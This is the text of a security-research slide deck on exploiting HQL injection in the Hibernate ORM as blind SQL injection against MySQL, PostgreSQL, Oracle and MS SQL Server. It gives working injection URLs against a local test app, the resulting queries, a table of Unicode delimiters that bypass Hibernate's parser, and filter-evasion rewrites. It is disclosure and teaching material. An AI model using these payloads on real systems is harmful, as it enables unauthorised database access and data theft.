ORM2Pwn: Exploiting injections in Hibernate ORM

Mikhail Egorov
Sergey Soldatov
Application Security Engineer at Odin [http://www.odin.com]
Security researcher and bug hunter
Graduated from BMSTU with MSc. in Information Security [IU8]
Holds OSCP and CISSP certificates
See my blog [http://0ang3el.blogspot.com]
Short BIO - Sergey Soldatov

- Chief infosecurity manager at big corp.’s IT insourcer
  - GRC 😊 and “paper security”
  - Security engineer and systems architect
  - Security operations manager and analyst
- Amateur hacker, security researcher & musician
- BMSTU’s IU8
- CISA, CISSP
- [http://reply-to-all.blogspot.ru/](http://reply-to-all.blogspot.ru/)
Modern applications work with DBMS not directly but via ORM

In Java, Hibernate is a popular ORM [Red Hat project]

Hibernate uses HQL, which is very limited [versus SQL]

HQLi exploitation is limited 😞
Is it possible to exploit HQLi as SQLi for popular DBMSs?

MySQL, Postgresql, Oracle, MS SQL Server are popular [in our opinion 😊]
Chuck Norris can exploit SQLi even on static HTML pages
Hibernate escapes [‘] in string with [“”]
MySQL escapes [‘] in string with [\’]
What about string ‘abc"’or 1=(select 1)--’?

Hibernate – ‘abc"’or 1=(select 1)--’ [thinks it’s a string]
MySQL – ‘abc"’or 1=(select 1)--’
MySQL DBMS

😊 Navigate to URL

http://127.0.0.1:8080/app/dummy\’\’%20or%201<len(select%20version())--

😊 HQL query -

SELECT p FROM pl.btbw.persistent.Post p where p.name='dummy\’\’ or 1<len(select version())--'

😊 SQL query

select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name='dummy\’\’ or 1<len(select version())--'
Postgresql DBMS

😊 Trick with "" not working
  • Quote escaping with " only [not with "]

😊 HQL allows subqueries in where clause
😊 Hibernate allow arbitrary function names in HQL
😊 Postgresql has nice built-in query_to_xml(‘SQL’)
😊 query_to_xml('SQL') return XML [not usable directly]

😊 Nevertheless it is possible to know if the SQL return 0 rows or > 0

array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,''))),1)

array_upper(xpath('row',query_to_xml('select 1 where 1337<1', true, false,''))),1)
Postgresql DBMS

SQL returns 1 row [ or more ]

```
root@kali: ~
File Edit View Search Terminal Help
postgres=# select array_upper(xpath('row', query_to_xml('select 1 where 1337>1',
true, false, '[]'), 1));
array_upper
-----------
1
(1 row)
```

SQL returns no rows

```
root@kali: ~
File Edit View Search Terminal Help
postgres=# select array_upper(xpath('row', query_to_xml('select 1 where 1337<1',
true, false, '[]'), 1));
array_upper
-----------
(1 row)
```
Postgresql DBMS

😊 Navigate to URL

http://127.0.0.1:8080/hqli.playground/dummy%27%20and%20array_upper%28xpath%28%27row%27%2Cquery_to_xml%28%27select%201%20where%201337%3E1%27%2Ctrue%2Cfalse%2C%27%27%29%2C1%29%2D1%2D0and%20%271%27%3D%271

😊 HQL query

SELECT p FROM hqli.persistent.Post p where p.name='dummy' and array_upper(xpath('row',query_to_xml('select 1 where 1337>1',true,false,'')),1)=1 and '1'='1'

😊 SQL query

select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name='dummy' and array_upper(xpath('row', query_to_xml('select 1 where 1337>1', true, false, '')), 1)=1 and '1'='1'
Oracle DBMS

😊 Trick with "" not working
  • Quote escaping with "" [ not with \' ]

😊 Hibernate allow arbitrary function names in HQL
😊 Oracle has nice built-in DBMS_XMLGEN.getxml('SQL')
Oracle DBMS

😊 DBMS_XMLGEN.getxml('SQL') returns CLOB or null
[ null if SQL returns no rows ]

😊 It is possible to know if the SQL return 0 rows or > 0 using TO_CHAR and NVL built-ins

NVL(TO_CHAR(DBMS_XMLGEN.getxml('SQL')),'1')!='1'
Oracle DBMS

😊 Navigate to URL

```
http://127.0.0.1:8080/app/dummy%'20and%20NVL(TO_CHAR(DBMS_XMLGEN.getxml('SELECT%201337%20FROM%20dual%20where%201337>1')),'1')!='1'%'20and%20'1'='1
```

😊 HQL query

```
SELECT p FROM pl.btbw.persistent.Post p where p.name='dummy' and NVL(TO_CHAR(DBMS_XMLGEN.getxml('SELECT%201337%20FROM%20dual%20where%201337>1')),'1')!='1' and '1'='1'
```

😊 SQL query

```
select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name='dummy' and NVL(to_char(DBMS_XMLGEN.getxml('SELECT 1337 FROM dual where 1337>1')), '1')!='1' and '1'='1'
```
Microsoft SQL Server DBMS

😊 Trick with "" not working
  • Quote escaping with ‘’ only [not with ‘’]

😢 There are no usable functions like query_to_xml(‘SQL’)
Hibernate ORM allows Unicode symbols in identifiers!!!

ANTLR grammar for HQL parsing is here
https://github.com/hibernate/hibernate-orm/blob/1ed895a3737c211e8c895b0297f801daccfe85a9/hibernate-core/src/main/antlr/hql.g

ANTLR (ANother Tool for Language Recognition) - http://www.antlr.org/
Hibernate ORM allows Unicode symbols in identifiers!!!

IDENT options { testLiterals=true; } :
   ID_START_LETTER ( ID_LETTER )* {
      // Setting this flag allows the grammar to use keywords as identifiers, if necessary.
      setPossibleID(true);
   }

protected
ID_START_LETTER :
   '_'
|   '$'
|   'a'..'z'
|   ''..'ufffe' // HHH-558 : Allow unicode chars in identifiers

protected
ID_LETTER :
   ID_START_LETTER
|   '0'..'9'


MS SQL Server allows Unicode delimiters in query!!!
There are many delimiters like space [U+0020]
LEN(U(selectU(1)) [ U – Unicode delimiter ]

We’ve found them all with dumb Fuzzing!!!
Here are the magic delimiters [U]

<table>
<thead>
<tr>
<th>Code</th>
<th>Hex</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>U+00A0</td>
<td>%C2%A0</td>
<td>No-break space</td>
</tr>
<tr>
<td>U+1680</td>
<td>%E1%9A%80</td>
<td>OGHAM SPACE MARK</td>
</tr>
<tr>
<td>U+2000</td>
<td>%E2%80%80</td>
<td>EN QUAD</td>
</tr>
<tr>
<td>U+2001</td>
<td>%E2%80%81</td>
<td>EM QUAD</td>
</tr>
<tr>
<td>U+2002</td>
<td>%E2%80%82</td>
<td>EN SPACE</td>
</tr>
<tr>
<td>U+2003</td>
<td>%E2%80%83</td>
<td>EM SPACE</td>
</tr>
<tr>
<td>U+2004</td>
<td>%E2%80%84</td>
<td>THREE-PER-EM SPACE</td>
</tr>
<tr>
<td>U+2005</td>
<td>%E2%80%85</td>
<td>FOUR-PER-EM SPACE</td>
</tr>
<tr>
<td>U+2006</td>
<td>%E2%80%86</td>
<td>SIX-PER-EM SPACE</td>
</tr>
<tr>
<td>U+2007</td>
<td>%E2%80%87</td>
<td>FIGURE SPACE</td>
</tr>
<tr>
<td>U+2008</td>
<td>%E2%80%88</td>
<td>PUNCTUATION SPACE</td>
</tr>
<tr>
<td>U+2009</td>
<td>%E2%80%89</td>
<td>Thin space</td>
</tr>
</tbody>
</table>
Microsoft SQL Server DBMS

😊 Here are the magic delimiters [U]

<table>
<thead>
<tr>
<th>Code</th>
<th>Hex</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>U+200A</td>
<td>%E2%80%8A</td>
<td>HAIR SPACE</td>
</tr>
<tr>
<td>U+200B</td>
<td>%E2%80%8B</td>
<td>ZERO WIDTH SPACE</td>
</tr>
<tr>
<td>U+2028</td>
<td>%E2%80%A8</td>
<td>LINE SEPARATOR</td>
</tr>
<tr>
<td>U+2029</td>
<td>%E2%80%A9</td>
<td>PARAGRAPH SEPARATOR</td>
</tr>
<tr>
<td>U+202F</td>
<td>%E2%80%AF</td>
<td>NARROW NO-BREAK SPACE</td>
</tr>
<tr>
<td>U+205F</td>
<td>%E2%81%9F</td>
<td>Medium Mathematical space</td>
</tr>
<tr>
<td>U+3000</td>
<td>%E3%80%80</td>
<td>Ideographic space</td>
</tr>
</tbody>
</table>
Navigate to URL

http://127.0.0.1:8080/app/dummy%27%20or%201%3CLEN%28C2%A0top%28C2%A0select%28C2%A0from%28C2%A0postusers%29%20%2731%27=%27143999

HQL query

SELECT p FROM pl.btbw.persistent.Post p where p.name='dummy' or 1<LEN([U+00A0](
    select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers)) or '31'='143999'

Hibernate sees here two function calls: Len and [U+00A0]
Identifier select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers is passed as function argument

Resulting SQL query

select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name='dummy' or 1<len([U+00A0](select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers)) or '31'='143999'
select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name='dummy' or 1<len((select top 1 uname from postusers)) or '31'='143999'

Is the same as

select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name='dummy' or 1<len(select top 1 uname from postusers)) or '31'='143999'
# Microsoft SQL Server DBMS: additional useful tricks

<table>
<thead>
<tr>
<th>Query fragment</th>
<th>How to rewrite to full HQL</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>where id=13</td>
<td>where id like 13</td>
<td>No “=&quot;</td>
</tr>
<tr>
<td>where field='data'</td>
<td>where field like cast(0xDATA_IN_HEX as varchar)</td>
<td>No “=“, No &quot;'&quot;</td>
</tr>
<tr>
<td>where field not in ('data1', 'data2')</td>
<td>where 0 like charindex(concat('+',field,'+'), cast(0xDATA1DATA2_IN_HEX as varchar(MAX)))</td>
<td>No list</td>
</tr>
<tr>
<td>0xDATA_IN_HEX smth_known_to_hibernate(..)</td>
<td>U0xDATA_IN_HEX Usmth_known_to_hibernate(..)</td>
<td>int</td>
</tr>
<tr>
<td>substring((select...),N,1)='c'</td>
<td>N like charindex('c', (select...), N)</td>
<td>substring → charindex</td>
</tr>
</tbody>
</table>
Hey, dude stop it! Show me the hack!

Video - https://www.youtube.com/watch?v=m_MTWZptXUw
All demo scripts are here - https://github.com/0ang3el/Hibernate-Injection-Study
Vulnerable App - https://github.com/0ang3el/HQLi-playground
Takeaways

- HQL injection is SQL injection [exploit HQLi as bSQLi]
- Hibernate is not a WAF
- Our exploitation technique works because:
  - Hibernate allows arbitrary names for identifiers (function and argument names)
  - Hibernate allows Unicode symbols in identifiers
  - Hibernate escapes quotes [‘] in string by doubling them [“”]
Questions?